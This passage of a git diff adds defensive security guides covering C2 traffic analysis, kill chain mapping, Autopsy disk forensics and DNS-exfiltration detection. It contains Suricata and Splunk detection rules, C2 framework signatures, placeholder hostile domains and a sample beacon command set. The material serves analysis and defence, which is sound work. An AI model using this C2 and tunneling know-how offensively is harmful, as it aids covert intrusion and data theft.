binary protocol on non-standard port + Indicators: Non-HTTP traffic on high ports, unknown protocol + +ICMP: Data encoded in ICMP echo/reply payloads + Indicators: ICMP packets with large or non-standard payloads + +WebSocket: Persistent bidirectional connection for real-time C2 + Indicators: WebSocket upgrade followed by binary frames + +Cloud Services: Using legitimate APIs (Telegram, Discord, Slack, GitHub) + Indicators: API calls to cloud services from unexpected processes + +Email: SMTP/IMAP for C2 commands and data exfiltration + Indicators: Automated email operations from non-email processes +``` + +### Step 2: Analyze Beacon Pattern + +Characterize the periodic communication pattern: + +```python +from scapy.all import rdpcap, IP, TCP +from collections import defaultdict +import statistics +import json + +packets = rdpcap("c2_traffic.pcap") + +# Group TCP SYN packets by destination +connections = defaultdict(list) +for pkt in packets: + if IP in pkt and TCP in pkt and (pkt[TCP].flags & 0x02): + key = f"{pkt[IP].dst}:{pkt[TCP].dport}" + connections[key].append(float(pkt.time)) + +# Analyze each destination for beaconing +for dst, times in sorted(connections.items()): + if len(times) < 3: + continue + + intervals = [times[i+1] - times[i] for i in range(len(times)-1)] + avg_interval = statistics.mean(intervals) + stdev = statistics.stdev(intervals) if len(intervals) > 1 else 0 + jitter_pct = (stdev / avg_interval * 100) if avg_interval > 0 else 0 + duration = times[-1] - times[0] + + beacon_data = { + "destination": dst, + "connections": len(times), + "duration_seconds": round(duration, 1), + "avg_interval_seconds": round(avg_interval, 1), + "stdev_seconds": round(stdev, 1), + "jitter_percent": round(jitter_pct, 1), + "is_beacon": 5 < avg_interval < 7200 and jitter_pct < 25, + } + + if beacon_data["is_beacon"]: + print(f"[!] BEACON DETECTED: {dst}") + print(f" Interval: {avg_interval:.0f}s +/- {stdev:.0f}s ({jitter_pct:.0f}% jitter)") + print(f" Sessions: {len(times)} over {duration:.0f}s") +``` + +### Step 3: Decode C2 Protocol Structure + +Reverse engineer the message format from captured traffic: + +```python +# HTTP-based C2 protocol analysis +import dpkt +import base64 + +with open("c2_traffic.pcap", "rb") as f: + pcap = dpkt.pcap.Reader(f) + +for ts, buf in pcap: + eth = dpkt.ethernet.Ethernet(buf) + if not isinstance(eth.data, dpkt.ip.IP): + continue + ip = eth.data + if not isinstance(ip.data, dpkt.tcp.TCP): + continue + tcp = ip.data + + if tcp.dport == 80 or tcp.dport == 443: + if len(tcp.data) > 0: + try: + http = dpkt.http.Request(tcp.data) + print(f"\n--- C2 REQUEST ---") + print(f"Method: {http.method}") + print(f"URI: {http.uri}") + print(f"Headers: {dict(http.headers)}") + if http.body: + print(f"Body ({len(http.body)} bytes):") + # Try Base64 decode + try: + decoded = base64.b64decode(http.body) + print(f" Decoded: {decoded[:200]}") + except: + print(f" Raw: {http.body[:200]}") + except: + pass +``` + +### Step 4: Identify C2 Framework + +Match observed patterns to known C2 frameworks: + +``` +Known C2 Framework Signatures: +━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Cobalt Strike: + - Default URIs: /pixel, /submit.php, /___utm.gif, /ca, /dpixel + - Malleable C2 profiles customize all traffic characteristics + - JA3: varies by profile, catalog at ja3er.com + - Watermark in beacon config (unique per license) + - Config extraction: use CobaltStrikeParser or 1768.py + +Metasploit/Meterpreter: + - Default staging URI patterns: random 4-char checksum + - Reverse HTTP(S) handler patterns + - Meterpreter TLV (Type-Length-Value) protocol structure + +Sliver: + - mTLS, HTTP, DNS, WireGuard transport options + - Protobuf-encoded messages + - Unique implant ID in communication + +Covenant: + - .NET-based C2 framework + - HTTP with customizable profiles + - Task-based command execution + +PoshC2: + - PowerShell/C# based + - HTTP with encrypted payloads + - Cookie-based session management +``` + +```bash +# Extract Cobalt Strike beacon configuration from PCAP or sample +python3 << 'PYEOF' +# Using CobaltStrikeParser (pip install cobalt-strike-parser) +from cobalt_strike_parser import BeaconConfig + +try: + config = BeaconConfig.from_file("suspect.exe") + print("Cobalt Strike Beacon Configuration:") + for key, value in config.items(): + print(f" {key}: {value}") +except Exception as e: + print(f"Not a Cobalt Strike beacon or parse error: {e}") +PYEOF +``` + +### Step 5: Map C2 Infrastructure + +Document the full C2 infrastructure and failover mechanisms: + +```python +# Infrastructure mapping +import requests +import json + +c2_indicators = { + "primary_c2": "185.220.101.42", + "domains": ["update.malicious.com", "backup.evil.net"], + "ports": [443, 8443], + "failover_dns": ["ns1.malicious-dns.com"], +} + +# Enrich with Shodan +def shodan_lookup(ip, api_key): + resp = requests.get(f"https://api.shodan.io/shodan/host/{ip}?key={api_key}") + if resp.status_code == 200: + data = resp.json() + return { + "ip": ip, + "ports": data.get("ports", []), + "os": data.get("os"), + "org": data.get("org"), + "asn": data.get("asn"), + "country": data.get("country_code"), + "hostnames": data.get("hostnames", []), + "last_update": data.get("last_update"), + } + return None + +# Enrich with passive DNS +def pdns_lookup(domain): + # Using VirusTotal passive DNS + resp = requests.get( + f"https://www.virustotal.com/api/v3/domains/{domain}/resolutions", + headers={"x-apikey": VT_API_KEY} + ) + if resp.status_code == 200: + data = resp.json() + resolutions = [] + for r in data.get("data", []): + resolutions.append({ + "ip": r["attributes"]["ip_address"], + "date": r["attributes"]["date"], + }) + return resolutions + return [] +``` + +### Step 6: Create Network Detection Signatures + +Build detection rules based on analyzed C2 characteristics: + +```bash +# Suricata rules for the analyzed C2 +cat << 'EOF' > c2_detection.rules +# HTTP beacon pattern +alert http $HOME_NET any -> $EXTERNAL_NET any ( + msg:"MALWARE MalwareX C2 HTTP Beacon"; + flow:established,to_server; + http.method; content:"POST"; + http.uri; content:"/gate.php"; startswith; + http.header; content:"User-Agent: Mozilla/5.0 (compatible; MSIE 10.0)"; + threshold:type threshold, track by_src, count 5, seconds 600; + sid:9000010; rev:1; +) + +# JA3 fingerprint match +alert tls $HOME_NET any -> $EXTERNAL_NET any ( + msg:"MALWARE MalwareX TLS JA3 Fingerprint"; + ja3.hash; content:"a0e9f5d64349fb13191bc781f81f42e1"; + sid:9000011; rev:1; +) + +# DNS beacon detection (high-entropy subdomain) +alert dns $HOME_NET any -> any any ( + msg:"MALWARE Suspected DNS C2 Tunneling"; + dns.query; pcre:"/^[a-z0-9]{20,}\./"; + threshold:type threshold, track by_src, count 10, seconds 60; + sid:9000012; rev:1; +) + +# Certificate-based detection +alert tls $HOME_NET any -> $EXTERNAL_NET any ( + msg:"MALWARE MalwareX Self-Signed C2 Certificate"; + tls.cert_subject; content:"CN=update.malicious.com"; + sid:9000013; rev:1; +) +EOF +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Beaconing** | Periodic check-in communication from malware to C2 server at regular intervals, often with jitter to avoid pattern detection | +| **Jitter** | Randomization applied to beacon interval (e.g., 60s +/- 15%) to make the timing pattern less predictable and harder to detect | +| **Malleable C2** | Cobalt Strike feature allowing operators to customize all aspects of C2 traffic (URIs, headers, encoding) to mimic legitimate services | +| **Dead Drop** | Intermediate location (paste site, cloud storage, social media) where C2 commands are posted for the malware to retrieve | +| **Domain Fronting** | Using a trusted CDN domain in the TLS SNI while routing to a different backend, making C2 traffic appear to go to a legitimate service | +| **Fast Flux** | Rapidly changing DNS records for C2 domains to distribute across many IPs and resist takedown efforts | +| **C2 Framework** | Software toolkit providing C2 server, implant generator, and operator interface (Cobalt Strike, Metasploit, Sliver, Covenant) | + +## Tools & Systems + +- **Wireshark**: Packet analyzer for detailed C2 protocol analysis at the packet level +- **RITA (Real Intelligence Threat Analytics)**: Open-source tool analyzing Zeek logs for beacon detection and DNS tunneling +- **CobaltStrikeParser**: Tool extracting Cobalt Strike beacon configuration from samples and memory dumps +- **JA3/JA3S**: TLS fingerprinting method for identifying C2 frameworks by their TLS implementation characteristics +- **Shodan/Censys**: Internet scanning platforms for mapping C2 infrastructure and identifying related servers + +## Common Scenarios + +### Scenario: Reverse Engineering a Custom C2 Protocol + +**Context**: A malware sample communicates with its C2 server using an unknown binary protocol over TCP port 8443. The protocol needs to be decoded to understand the command set and build detection signatures. + +**Approach**: +1. Filter PCAP for TCP port 8443 conversations and extract the TCP streams +2. Analyze the first few exchanges to identify the handshake/authentication mechanism +3. Map the message structure (length prefix, type field, payload encoding) +4. Cross-reference with Ghidra disassembly of the send/receive functions in the malware +5. Identify the command dispatcher and document each command code's function +6. Build a protocol decoder in Python for ongoing traffic analysis +7. Create Suricata rules matching the protocol handshake or static header bytes + +**Pitfalls**: +- Assuming the protocol is static; some C2 frameworks negotiate encryption during the handshake +- Not capturing enough traffic to see all command types (some commands are rare) +- Missing fallback C2 channels (DNS, ICMP) that activate when the primary channel fails +- Confusing encrypted payload data with the protocol framing structure + +## Output Format + +``` +C2 COMMUNICATION ANALYSIS REPORT +=================================== +Sample: malware.exe (SHA-256: e3b0c44...) +C2 Framework: Cobalt Strike 4.9 + +BEACON CONFIGURATION +C2 Server: hxxps://185.220.101[.]42/updates +Beacon Type: HTTPS (reverse) +Sleep: 60 seconds +Jitter: 15% +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) +URI (GET): /dpixel +URI (POST): /submit.php +Watermark: 1234567890 + +PROTOCOL ANALYSIS +Transport: HTTPS (TLS 1.2) +JA3 Hash: a0e9f5d64349fb13191bc781f81f42e1 +Certificate: CN=Microsoft Update (self-signed) +Encoding: Base64 with XOR key 0x69 +Command Format: [4B length][4B command_id][payload] + +COMMAND SET +0x01 - Sleep Change beacon interval +0x02 - Shell Execute cmd.exe command +0x03 - Download Transfer file from C2 +0x04 - Upload Exfiltrate file to C2 +0x05 - Inject Process injection +0x06 - Keylog Start keylogger +0x07 - Screenshot Capture screen + +INFRASTRUCTURE +Primary: 185.220.101[.]42 (AS12345, Hosting Co, NL) +Failover: 91.215.85[.]17 (AS67890, VPS Provider, RU) +DNS: update.malicious[.]com -> 185.220.101[.]42 +Registrar: NameCheap +Registration: 2025-09-01 + +DETECTION SIGNATURES +SID 9000010: HTTP beacon pattern +SID 9000011: JA3 TLS fingerprint +SID 9000013: C2 certificate match +``` diff --git a/skills/analyzing-cyber-kill-chain/SKILL.md b/skills/analyzing-cyber-kill-chain/SKILL.md new file mode 100644 index 00000000..b7b89e3a --- /dev/null +++ b/skills/analyzing-cyber-kill-chain/SKILL.md @@ -0,0 +1,129 @@ +--- +name: analyzing-cyber-kill-chain +description: > + Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain framework to identify + which phases an adversary has completed, where defenses succeeded or failed, and what controls + would have interrupted the attack at earlier phases. Use when conducting post-incident analysis, + building prevention-focused security controls, or mapping detection gaps to kill chain phases. + Activates for requests involving kill chain analysis, intrusion kill chain, attack phase mapping, + or Lockheed Martin kill chain framework. +domain: cybersecurity +subdomain: threat-intelligence +tags: [kill-chain, Lockheed-Martin, MITRE-ATT&CK, intrusion-analysis, defense-in-depth, NIST-CSF] +version: 1.0.0 +author: team-cybersecurity +license: MIT +--- +# Analyzing Cyber Kill Chain + +## When to Use + +Use this skill when: +- Conducting post-incident analysis to determine how far an adversary progressed through an attack sequence +- Designing layered defensive controls with the goal of interrupting attacks at the earliest possible phase +- Producing threat intelligence reports that communicate attack progression to non-technical stakeholders + +**Do not use** this skill as a standalone framework — combine with MITRE ATT&CK for technique-level granularity beyond what the 7-phase kill chain provides. + +## Prerequisites + +- Complete incident timeline with forensic artifacts mapped to specific adversary actions +- MITRE ATT&CK Enterprise matrix for technique-level mapping within each kill chain phase +- Access to threat intelligence on the suspected adversary group's typical kill chain progression +- Post-incident report or IR timeline from responding team + +## Workflow + +### Step 1: Map Observed Actions to Kill Chain Phases + +The Lockheed Martin Cyber Kill Chain consists of seven phases. Map all observed adversary actions: + +**Phase 1 - Reconnaissance**: Adversary gathers target information before attack. +- Indicators: DNS queries from adversary IP, LinkedIn scraping, job posting analysis, Shodan scans of organization infrastructure + +**Phase 2 - Weaponization**: Adversary creates attack tool (malware + exploit). +- Indicators: Malware compilation timestamps, exploit document metadata, builder artifacts in malware samples + +**Phase 3 - Delivery**: Adversary transmits weapon to target. +- Indicators: Phishing emails, malicious attachments, drive-by downloads, USB drops, supply chain compromise + +**Phase 4 - Exploitation**: Adversary exploits vulnerability to execute code. +- Indicators: CVE exploitation events in application/OS logs, memory corruption artifacts, shellcode execution + +**Phase 5 - Installation**: Adversary establishes persistence on target. +- Indicators: New scheduled tasks, registry run keys, service installation, web shells, bootkits + +**Phase 6 - Command & Control (C2)**: Adversary communicates with compromised system. +- Indicators: Beaconing traffic (regular intervals), DNS tunneling, HTTPS to uncommon domains, C2 framework signatures (Cobalt Strike, Sliver) + +**Phase 7 - Actions on Objectives**: Adversary achieves goals. +- Indicators: Data staging/exfiltration, lateral movement, ransomware execution, destructive activity + +### Step 2: Identify Phase Completion and Detection Points + +Create a phase matrix for the incident: +``` +Phase 1: Recon → Completed (undetected) +Phase 2: Weaponize → Completed (undetected — pre-attack) +Phase 3: Delivery → Completed; phishing email bypassed SEG +Phase 4: Exploit → Completed; CVE-2023-23397 exploited +Phase 5: Install → DETECTED: EDR flagged scheduled task creation (attack stalled here) +Phase 6: C2 → Not achieved (installation blocked) +Phase 7: Objectives → Not achieved +``` + +For each phase completed without detection, document the defensive control gap. + +### Step 3: Map to MITRE ATT&CK for Technique Detail + +Each kill chain phase maps to multiple ATT&CK tactics: +- Delivery → Initial Access (TA0001) +- Exploitation → Execution (TA0002) +- Installation → Persistence (TA0003), Privilege Escalation (TA0004) +- C2 → Command and Control (TA0011) +- Actions on Objectives → Exfiltration (TA0010), Impact (TA0040) + +Within each phase, enumerate specific ATT&CK techniques observed and map to existing detections. + +### Step 4: Identify Courses of Action per Phase + +For each phase, document applicable defensive courses of action (COAs): +- **Detect COA**: What detection would alert on adversary activity in this phase? +- **Deny COA**: What control would prevent the adversary from completing this phase? +- **Disrupt COA**: What control would interrupt the adversary mid-phase? +- **Degrade COA**: What control would reduce the adversary's effectiveness in this phase? +- **Deceive COA**: What deception (honeypots, canary tokens) would expose activity in this phase? +- **Destroy COA**: What active defense capability would neutralize adversary infrastructure? + +### Step 5: Produce Kill Chain Analysis Report + +Structure findings as: +1. Attack narrative (timeline of phases) +2. Phase-by-phase analysis with evidence +3. Detection point analysis (what worked, what failed) +4. Defensive recommendation per phase prioritized by cost/effectiveness +5. Control improvement roadmap + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **Kill Chain** | Sequential model of adversary intrusion phases; breaking any link theoretically stops the attack | +| **Courses of Action (COA)** | Defensive responses mapped to each kill chain phase: detect, deny, disrupt, degrade, deceive, destroy | +| **Beaconing** | Regular, periodic C2 check-in pattern from compromised host to adversary server; detectable by frequency analysis | +| **Phase Completion** | Adversary successfully finishes a kill chain phase and progresses to the next; defense-in-depth aims to prevent this | +| **Intelligence Gain/Loss** | Analysis of whether detecting at Phase 5 (vs. Phase 3) reduced intelligence about adversary capabilities or intent | + +## Tools & Systems + +- **MITRE ATT&CK Navigator**: Overlay kill chain phases with ATT&CK technique coverage for integrated analysis +- **Elastic Security EQL**: Event Query Language for querying multi-phase attack sequences in Elastic SIEM +- **Splunk ES**: Timeline visualization and correlation searches for kill chain phase sequencing +- **MISP**: Kill chain tagging via galaxy clusters for structured incident event documentation + +## Common Pitfalls + +- **Linear assumption**: Adversaries don't always progress linearly — they may skip phases (weaponization already complete from previous campaign) or loop back (re-establish C2 after detection). +- **Ignoring Phases 1 and 2**: Reconnaissance and weaponization occur before the defender has visibility. Intelligence about these phases requires external sources (OSINT, threat intelligence). +- **Missing insider threats**: The kill chain was designed for external adversaries. Insider threats may skip directly to Phase 7 without traversing earlier phases. +- **Confusing with ATT&CK tactics**: The 7-phase kill chain and 14 ATT&CK tactics are complementary but not directly equivalent. Maintain distinction to prevent analytic confusion. diff --git a/skills/analyzing-disk-image-with-autopsy/SKILL.md b/skills/analyzing-disk-image-with-autopsy/SKILL.md new file mode 100644 index 00000000..bbea6b19 --- /dev/null +++ b/skills/analyzing-disk-image-with-autopsy/SKILL.md @@ -0,0 +1,252 @@ +--- +name: analyzing-disk-image-with-autopsy +description: Perform comprehensive forensic analysis of disk images using Autopsy to recover files, examine artifacts, and build investigation timelines. +domain: cybersecurity +subdomain: digital-forensics +tags: [forensics, autopsy, disk-analysis, sleuth-kit, file-recovery, artifact-analysis] +version: "1.0" +author: mahipal +license: MIT +--- + +# Analyzing Disk Image with Autopsy + +## When to Use +- When you have a forensic disk image and need structured analysis of its contents +- During investigations requiring file recovery, keyword searching, and timeline analysis +- When non-technical stakeholders need visual reports from forensic evidence +- For examining file system metadata, deleted files, and embedded artifacts +- When building a comprehensive case from multiple disk images + +## Prerequisites +- Autopsy 4.x installed (Windows) or Autopsy 4.x with The Sleuth Kit (Linux) +- Forensic disk image in raw (dd), E01 (EnCase), or AFF format +- Minimum 8GB RAM (16GB recommended for large images) +- Java Runtime Environment (JRE) 8+ for Autopsy +- Sufficient disk space for the Autopsy case database (2-3x image size) +- Hash databases (NSRL, known-bad hashes) for file identification + +## Workflow + +### Step 1: Install Autopsy and Configure Environment + +```bash +# On Linux, install Sleuth Kit and Autopsy +sudo apt-get install autopsy sleuthkit + +# Download Autopsy 4.x (GUI version) from official source +wget https://github.com/sleuthkit/autopsy/releases/download/autopsy-4.21.0/autopsy-4.21.0.zip +unzip autopsy-4.21.0.zip -d /opt/autopsy + +# On Windows, run the MSI installer from sleuthkit.org +# Launch Autopsy +/opt/autopsy/bin/autopsy --nosplash + +# For Sleuth Kit command-line analysis alongside Autopsy +sudo apt-get install sleuthkit +``` + +### Step 2: Create a New Case and Add the Disk Image + +``` +1. Launch Autopsy > "New Case" +2. Enter Case Name: "CASE-2024-001-Workstation" +3. Set Base Directory: /cases/case-2024-001/autopsy/ +4. Enter Case Number, Examiner Name +5. Click "Add Data Source" +6. Select "Disk Image or VM File" +7. Browse to: /cases/case-2024-001/images/evidence.dd +8. Select Time Zone of the original system +9. Configure Ingest Modules (see Step 3) +``` + +```bash +# Alternatively, use Sleuth Kit CLI to verify the image first +img_stat /cases/case-2024-001/images/evidence.dd + +# List partitions in the image +mmls /cases/case-2024-001/images/evidence.dd + +# Output example: +# DOS Partition Table +# Offset Sector: 0 +# Units are in 512-byte sectors +# Slot Start End Length Description +# 00: ----- 0000000000 0000002047 0000002048 Primary Table (#0) +# 01: 00:00 0000002048 0001026047 0001024000 NTFS (0x07) +# 02: 00:01 0001026048 0976771071 0975745024 NTFS (0x07) + +# List files in a partition (offset 2048 sectors) +fls -o 2048 /cases/case-2024-001/images/evidence.dd +``` + +### Step 3: Configure and Run Ingest Modules + +``` +Enable the following Autopsy Ingest Modules: +- Recent Activity: Extracts browser history, downloads, cookies, bookmarks +- Hash Lookup: Compares files against NSRL and known-bad hash sets +- File Type Identification: Identifies files by signature, not extension +- Keyword Search: Indexes content for full-text searching +- Email Parser: Extracts emails from PST, MBOX, EML files +- Extension Mismatch Detector: Finds files with wrong extensions +- Exif Parser: Extracts metadata from images (GPS, camera, timestamps) +- Encryption Detection: Identifies encrypted files and containers +- Interesting Files Identifier: Flags files matching custom rule sets +- Embedded File Extractor: Extracts files from ZIP, Office docs, PDFs +- Picture Analyzer: Categorizes images using PhotoDNA or hash matching +- Data Source Integrity: Verifies image hash during ingest +``` + +```bash +# Configure NSRL hash set for known-good filtering +# Download NSRL from https://www.nist.gov/itl/ssd/software-quality-group/national-software-reference-library-nsrl +wget https://s3.amazonaws.com/rds.nsrl.nist.gov/RDS/current/rds_modernm.zip +unzip rds_modernm.zip -d /opt/autopsy/hashsets/ + +# Import into Autopsy: +# Tools > Options > Hash Sets > Import > Select NSRLFile.txt +# Mark as "Known" (to filter out known-good files) +``` + +### Step 4: Analyze File System and Recover Deleted Files + +```bash +# In Autopsy GUI: Navigate tree structure +# - Data Sources > evidence.dd > vol2 (NTFS) +# - Examine directory tree, note deleted files (marked with X) + +# Using Sleuth Kit CLI for targeted recovery +# List deleted files +fls -rd -o 2048 /cases/case-2024-001/images/evidence.dd + +# Recover a specific deleted file by inode +icat -o 2048 /cases/case-2024-001/images/evidence.dd 14523 > /cases/case-2024-001/recovered/deleted_document.docx + +# Extract all files from a directory +tsk_recover -o 2048 -d /Users/suspect/Documents \ + /cases/case-2024-001/images/evidence.dd \ + /cases/case-2024-001/recovered/documents/ + +# Get detailed file metadata +istat -o 2048 /cases/case-2024-001/images/evidence.dd 14523 +# Shows: creation, modification, access, MFT change timestamps, size, data runs +``` + +### Step 5: Perform Keyword Searches and Tag Evidence + +``` +In Autopsy: +1. Keyword Search panel > "Ad Hoc Keyword Search" +2. Search terms: credit card patterns, SSN regex, email addresses +3. Example regex for credit cards: \b(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14})\b +4. Example regex for SSN: \b\d{3}-\d{2}-\d{4}\b +5. Review results > Right-click items > "Add Tag" +6. Create tags: "Evidence-Critical", "Evidence-Supporting", "Requires-Review" +7. Add comments to tagged items documenting relevance +``` + +```bash +# Using Sleuth Kit for CLI keyword search +srch_strings -a -o 2048 /cases/case-2024-001/images/evidence.dd | \ + grep -iE '(password|secret|confidential)' > /cases/case-2024-001/keyword_hits.txt + +# Search for specific file signatures +sigfind -o 2048 /cases/case-2024-001/images/evidence.dd 25504446 +# 25504446 = %PDF header signature +``` + +### Step 6: Build Timeline and Generate Reports + +``` +In Autopsy: +1. Timeline viewer: Tools > Timeline +2. Select date range of interest (incident window) +3. Filter by event type: File Created, Modified, Accessed, Web Activity +4. Zoom into suspicious time periods +5. Export timeline events as CSV for external analysis + +Generate Report: +1. Generate Report > HTML Report +2. Select tagged items and data sources to include +3. Configure report sections: file listings, keyword hits, timeline +4. Export to /cases/case-2024-001/reports/ +``` + +```bash +# Using Sleuth Kit mactime for CLI timeline +fls -r -m "/" -o 2048 /cases/case-2024-001/images/evidence.dd > /cases/case-2024-001/bodyfile.txt + +# Generate timeline from bodyfile +mactime -b /cases/case-2024-001/bodyfile.txt -d > /cases/case-2024-001/timeline.csv + +# Filter timeline to specific date range +mactime -b /cases/case-2024-001/bodyfile.txt \ + -d 2024-01-15..2024-01-20 > /cases/case-2024-001/incident_timeline.csv +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| Ingest Modules | Automated analysis plugins that process data sources upon import | +| MFT (Master File Table) | NTFS metadata structure recording all file entries and attributes | +| File carving | Recovering files from unallocated space using file signatures | +| Hash filtering | Using NSRL or custom hash sets to exclude known-good or flag known-bad files | +| Timeline analysis | Chronological reconstruction of file system and user activity events | +| Deleted file recovery | Restoring files whose directory entries are removed but data remains | +| Keyword indexing | Full-text search index built from all file content including slack space | +| Artifact extraction | Automated parsing of browser, email, registry, and OS-specific artifacts | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| Autopsy | Open-source GUI forensic platform for disk image analysis | +| The Sleuth Kit (TSK) | Command-line forensic toolkit underlying Autopsy | +| fls | List files and directories in a disk image including deleted entries | +| icat | Extract file content by inode number from a disk image | +| mactime | Generate timeline from TSK bodyfile format | +| mmls | Display partition layout of a disk image | +| NSRL | NIST hash database for identifying known software files | +| sigfind | Search for file signatures at the sector level | + +## Common Scenarios + +**Scenario 1: Employee Data Theft Investigation** +Import the employee workstation image, run all ingest modules, search for company-confidential file names and keywords, examine USB connection artifacts in Recent Activity, check for cloud storage client artifacts, review deleted files for evidence of data staging, generate HTML report for legal team. + +**Scenario 2: Malware Infection Forensics** +Add the compromised system image, enable Extension Mismatch and Encryption Detection modules, examine the prefetch directory for execution evidence, search for known malware hashes, build timeline around the infection window, extract suspicious executables for further analysis in a sandbox. + +**Scenario 3: Child Exploitation Material (CSAM) Investigation** +Import image with PhotoDNA and Project VIC hash sets enabled, run Picture Analyzer module, hash all image files against known-bad databases, tag and categorize matches by severity, generate law enforcement report with chain of custody documentation. + +**Scenario 4: Intellectual Property Dispute** +Import multiple employee disk images as separate data sources in one case, perform keyword searches for proprietary terms and project names, compare file hashes between sources, build timeline showing file access and transfer patterns, export evidence for legal review. + +## Output Format + +``` +Autopsy Case Analysis Summary: + Case: CASE-2024-001-Workstation + Image: evidence.dd (500GB NTFS) + Partitions: 2 (System Reserved + Primary) + Total Files: 245,832 + Deleted Files: 12,456 (recoverable: 8,234) + + Ingest Results: + Hash Matches (Known Bad): 3 files + Extension Mismatches: 17 files + Keyword Hits: 234 across 45 files + Encrypted Files: 5 containers detected + EXIF Data Extracted: 1,245 images with metadata + + Tagged Evidence: + Critical: 12 items + Supporting: 34 items + Review: 67 items + + Timeline Events: 1,234,567 entries (filtered to incident window: 892) + Report: /cases/case-2024-001/reports/autopsy_report.html +``` diff --git a/skills/analyzing-dns-logs-for-exfiltration/SKILL.md b/skills/analyzing-dns-logs-for-exfiltration/SKILL.md new file mode 100644 index 00000000..aead1050 --- /dev/null +++ b/skills/analyzing-dns-logs-for-exfiltration/SKILL.md @@ -0,0 +1,287 @@ +--- +name: analyzing-dns-logs-for-exfiltration +description: > + Analyzes DNS query logs to detect data exfiltration via DNS tunneling, DGA domain communication, + and covert C2 channels using entropy analysis, query volume anomalies, and subdomain length + detection in SIEM platforms. Use when SOC teams need to identify DNS-based threats that bypass + traditional network security controls. +domain: cybersecurity +subdomain: soc-operations +tags: [soc, dns, exfiltration, dns-tunneling, dga, c2-detection, splunk, threat-detection] +version: "1.0" +author: mahipal +license: MIT +--- +# Analyzing DNS Logs for Exfiltration + +## When to Use + +Use this skill when: +- SOC teams suspect data exfiltration through DNS tunneling to bypass firewall/proxy controls +- Threat intelligence indicates adversaries using DNS-based C2 channels (e.g., Cobalt Strike DNS beacon) +- UEBA detects anomalous DNS query volumes from specific hosts +- Malware analysis reveals DNS-over-HTTPS (DoH) or DNS tunneling capabilities + +**Do not use** for standard DNS troubleshooting or availability monitoring — this skill focuses on security-relevant DNS abuse detection. + +## Prerequisites + +- DNS query logging enabled (Windows DNS Server, Bind, Infoblox, or Cisco Umbrella) +- DNS logs ingested into SIEM (Splunk with `Stream:DNS`, `dns` sourcetype, or Zeek DNS logs) +- Passive DNS data for historical domain resolution analysis +- Baseline of normal DNS behavior (query volume, domain distribution, TXT record frequency) +- Python with `math` and `collections` libraries for entropy calculation + +## Workflow + +### Step 1: Detect DNS Tunneling via Subdomain Length Analysis + +DNS tunneling encodes data in subdomain labels, creating unusually long queries: + +```spl +index=dns sourcetype="stream:dns" query_type IN ("A", "AAAA", "TXT", "CNAME", "MX") +| eval domain_parts = split(query, ".") +| eval subdomain = mvindex(domain_parts, 0, mvcount(domain_parts)-3) +| eval subdomain_str = mvjoin(subdomain, ".") +| eval subdomain_len = len(subdomain_str) +| eval tld = mvindex(domain_parts, -1) +| eval registered_domain = mvindex(domain_parts, -2).".".tld +| where subdomain_len > 50 +| stats count AS queries, dc(query) AS unique_queries, + avg(subdomain_len) AS avg_subdomain_len, + max(subdomain_len) AS max_subdomain_len, + values(src_ip) AS sources + by registered_domain +| where queries > 20 +| sort - avg_subdomain_len +| table registered_domain, queries, unique_queries, avg_subdomain_len, max_subdomain_len, sources +``` + +### Step 2: Detect High-Entropy Domain Queries (DGA Detection) + +Domain Generation Algorithms produce random-looking domains: + +```spl +index=dns sourcetype="stream:dns" +| eval domain_parts = split(query, ".") +| eval sld = mvindex(domain_parts, -2) +| eval sld_len = len(sld) +| eval char_count = sld_len +| eval vowels = len(replace(sld, "[^aeiou]", "")) +| eval consonants = len(replace(sld, "[^bcdfghjklmnpqrstvwxyz]", "")) +| eval digits = len(replace(sld, "[^0-9]", "")) +| eval vowel_ratio = if(char_count > 0, vowels / char_count, 0) +| eval digit_ratio = if(char_count > 0, digits / char_count, 0) +| where sld_len > 12 AND (vowel_ratio < 0.2 OR digit_ratio > 0.3) +| stats count AS queries, dc(query) AS unique_domains, values(src_ip) AS sources + by query +| where unique_domains > 10 +| sort - queries +``` + +**Python-based Shannon Entropy Calculation for DNS queries:** + +```python +import math +from collections import Counter + +def shannon_entropy(text): + """Calculate Shannon entropy of a string""" + if not text: + return 0 + counter = Counter(text.lower()) + length = len(text) + entropy = -sum( + (count / length) * math.log2(count / length) + for count in counter.values() + ) + return round(entropy, 4) + +# Test with examples +normal_domain = "google" # Low entropy +dga_domain = "x8kj2m9p4qw7n" # High entropy +tunnel_subdomain = "aGVsbG8gd29ybGQ.evil.com" # Base64 encoded data + +print(f"Normal: {shannon_entropy(normal_domain)}") # ~2.25 +print(f"DGA: {shannon_entropy(dga_domain)}") # ~3.70 +print(f"Tunnel: {shannon_entropy(tunnel_subdomain)}") # ~3.50 + +# Threshold: entropy > 3.5 for subdomain = likely tunneling/DGA +``` + +**Splunk implementation of entropy scoring:** + +```spl +index=dns sourcetype="stream:dns" +| eval domain_parts = split(query, ".") +| eval check_string = mvindex(domain_parts, 0) +| eval check_len = len(check_string) +| where check_len > 8 +| eval chars = split(check_string, "") +| stats count AS total_chars, dc(chars) AS unique_chars by query, src_ip, check_string, check_len +| eval entropy_estimate = log(unique_chars, 2) * (unique_chars / check_len) +| where entropy_estimate > 3.5 +| stats count AS high_entropy_queries, dc(query) AS unique_queries by src_ip +| where high_entropy_queries > 50 +| sort - high_entropy_queries +``` + +### Step 3: Detect Anomalous DNS Query Volume + +Identify hosts generating abnormal DNS traffic: + +```spl +index=dns sourcetype="stream:dns" earliest=-24h +| bin _time span=1h +| stats count AS queries, dc(query) AS unique_domains by src_ip, _time +| eventstats avg(queries) AS avg_queries, stdev(queries) AS stdev_queries by src_ip +| eval z_score = (queries - avg_queries) / stdev_queries +| where z_score > 3 OR queries > 5000 +| sort - z_score +| table _time, src_ip, queries, unique_domains, avg_queries, z_score +``` + +**Detect TXT record abuse (common tunneling method):** + +```spl +index=dns sourcetype="stream:dns" query_type="TXT" +| stats count AS txt_queries, dc(query) AS unique_txt_domains, + values(query) AS domains by src_ip +| where txt_queries > 100 +| eval suspicion = case( + txt_queries > 1000, "CRITICAL — Likely DNS tunneling", + txt_queries > 500, "HIGH — Possible DNS tunneling", + txt_queries > 100, "MEDIUM — Unusual TXT volume" + ) +| sort - 